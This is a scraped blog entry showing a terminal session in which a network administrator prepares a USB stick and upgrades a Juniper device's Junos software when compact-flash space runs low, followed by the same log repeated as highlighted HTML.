\u0026lt;SanDisk Cruzer Micro 6.51\u0026gt; Removable Direct Access SCSI-0 device da0: 1.000MB/s transfers da0: 988MB (2025471 512 byte sectors: 64H 32S/T 988C) root@amnesyac% dd if=/dev/zero of=/dev/da0 bs=128k 2435+0 records in 2434+0 records out 319029248 bytes transferred in 352.314078 secs (905525 bytes/sec) root@amnesyac% disklabel -R -w da0 auto root@amnesyac% newfs -U /dev/da0 /dev/da0: 989.0MB (2025468 sectors) block size 16384, fragment size 2048 using 6 cylinder groups of 183.69MB, 11756 blks, 23552 inodes. with soft updates super-block backups (for fsck -b #) at: 32, 376224, 752416, 1128608, 1504800, 1880992 root@amnesyac% mkdir /var/tmp/usb root@amnesyac% mount /dev/da0 /var/tmp/usb root@amnesyac% mv junos-jsr-12.1R5.5-export.tgz /cf/var/tmp/usb/ root@amnesyac% cli root@amnesyac\u0026gt; file list detail /var/tmp/usb /var/tmp/usb: total 406474 drwxrwxr-x 2 root operator 512 Feb 28 04:52 .snap/ -rw-r--r-- 1 root wheel 208012563 Feb 27 19:33 junos-jsr-12.1R5.5-export.tgz root@amnesyac\u0026gt; request system software add junos-jsr-12.1R5.5-export.tgz ERROR: Missing package: /cf/root/junos-jsr-12.1R5.5-export.tgz root@amnesyac\u0026gt; request system software add /var/tmp/usb/junos-jsr-12.1R5.5-export.tgz NOTICE: Validating configuration against junos-jsr-12.1R5.5-export.tgz. NOTICE: Use the \u0026#39;no-validate\u0026#39; option to skip this if desired. Checking compatibility with configuration Initializing... Verified manifest signed by PackageProduction_9_6_0 Using /var/tmp/usb/junos-jsr-12.1R5.5-export.tgz Checking junos requirements on / Available space: 80793 require: 4688 Saving boot file package in /var/sw/pkg/junos-boot-jsr-12.1R5.5.tgz Verified manifest signed by PackageProduction_12_1_0 Hardware Database regeneration succeeded Validating against /config/juniper.conf.gz cp: /cf/var/validate/chroot/var/etc/resolv.conf and /etc/resolv.conf are identical (not copied). cp: /cf/var/validate/chroot/var/etc/hosts and /etc/hosts are identical (not copied). [edit system services ssh] \u0026#39;ssh\u0026#39; warning: daemon binary /usr/sbin/sshd not found mgd: commit complete Validation succeeded Installing package \u0026#39;/var/tmp/usb/junos-jsr-12.1R5.5-export.tgz\u0026#39; ... Verified junos-boot-jsr-12.1R5.5.tgz signed by PackageProduction_12_1_0 Verified junos-jsr-12.1R5.5-export signed by PackageProduction_12_1_0 Available space: 81388 require: 4688 WARNING: JUNOS edition export != domestic, need to regenerate ssh host keys Saving boot file package in /var/sw/pkg/junos-boot-jsr-12.1R5.5.tgz JUNOS 12.1R5.5 will become active at next reboot WARNING: A reboot is required to load this software correctly WARNING: Use the \u0026#39;request system reboot\u0026#39; command WARNING: when software installation is complete Saving package file in /var/sw/pkg/junos-12.1R5.5.tgz ... cp: /var/sw/pkg/junos-12.1R5.5.tgz: No space left on device Saving state for rollback ... root@amnesyac\u0026gt; request system reboot Reboot the system ? [yes,no] (no) yes Shutdown NOW! [pid 1988] root@amnesyac\u0026gt; *** FINAL System shutdown message from root@amnesyac *** System going down IMMEDIATELY Timeout, server not responding. ","permalink":"https://www.deepreflect.net/2013/02/28/junos-update-with-low-space-cf/","summary":"\u003cp\u003edmesg tail:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e da0 at umass-sim0 bus 0 target 0 lun 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e da0: \u0026lt;SanDisk Cruzer Micro 6.51\u0026gt; Removable Direct Access SCSI-0 device\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e da0: 1.000MB/s transfers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e da0: 988MB (2025471 512 byte sectors: 64H 32S/T 988C)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e dd \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ezero of\u003cspan style=\"color:#f92672\"\u003e=/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eda0 bs\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003ek\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e2435\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e records \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e2434\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e records out\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e319029248\u003c/span\u003e bytes transferred \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e352.314078\u003c/span\u003e secs (\u003cspan style=\"color:#ae81ff\"\u003e905525\u003c/span\u003e bytes\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esec)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e disklabel \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eR \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ew da0 auto\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e newfs \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eU \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eda0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eda0: \u003cspan style=\"color:#ae81ff\"\u003e989.0\u003c/span\u003eMB (\u003cspan style=\"color:#ae81ff\"\u003e2025468\u003c/span\u003e sectors) block size \u003cspan style=\"color:#ae81ff\"\u003e16384\u003c/span\u003e, fragment size \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eusing \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e cylinder groups of \u003cspan style=\"color:#ae81ff\"\u003e183.69\u003c/span\u003eMB, \u003cspan style=\"color:#ae81ff\"\u003e11756\u003c/span\u003e blks, \u003cspan style=\"color:#ae81ff\"\u003e23552\u003c/span\u003e inodes\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewith soft updates\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esuper\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eblock backups (\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e fsck \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eb \u003cspan style=\"color:#75715e\"\u003e#) at:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e376224\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e752416\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1128608\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1504800\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1880992\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e mkdir \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e mount \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eda0 \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e mv junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e cli\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e file list detail \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal \u003cspan style=\"color:#ae81ff\"\u003e406474\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrwxrwxr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ex  \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e root  operator       \u003cspan style=\"color:#ae81ff\"\u003e512\u003c/span\u003e Feb \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e52\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esnap\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erw\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003er\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003er\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003e  \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e root  wheel  \u003cspan style=\"color:#ae81ff\"\u003e208012563\u003c/span\u003e Feb \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e19\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e33\u003c/span\u003e junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system software add junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eERROR: Missing package: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eroot\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system software add \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNOTICE: Validating configuration against junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNOTICE: Use the \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;no-validate\u0026#39;\u003c/span\u003e option to skip this \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e desired\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking compatibility with configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitializing\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVerified manifest signed by PackageProduction_9_6_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUsing \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusb\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking junos requirements on \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAvailable space: \u003cspan style=\"color:#ae81ff\"\u003e80793\u003c/span\u003e require: \u003cspan style=\"color:#ae81ff\"\u003e4688\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSaving boot file package \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esw\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epkg\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eboot\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVerified manifest signed by PackageProduction_12_1_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHardware Database regeneration succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eValidating against \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003econfig\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejuniper\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003econf\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003egz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecp: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evalidate\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003echroot\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eresolv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003econf \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eresolv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003econf are identical (\u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e copied)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecp: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evalidate\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003echroot\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehosts \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehosts are identical (\u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e copied)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[edit system services ssh]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;ssh\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewarning: daemon binary \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esbin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esshd \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emgd: commit complete\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eValidation succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstalling package \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/var/tmp/usb/junos-jsr-12.1R5.5-export.tgz\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVerified junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eboot\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.\u003c/span\u003etgz signed by PackageProduction_12_1_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVerified junos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e signed by PackageProduction_12_1_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAvailable space: \u003cspan style=\"color:#ae81ff\"\u003e81388\u003c/span\u003e require: \u003cspan style=\"color:#ae81ff\"\u003e4688\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: JUNOS edition \u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e domestic, need to regenerate ssh host keys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSaving boot file package \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esw\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epkg\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eboot\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejsr\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJUNOS \u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e will become active at next reboot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: A reboot is required to load this software correctly\n\u003c/span\u003e\u003c/span\u003e\u003cspan 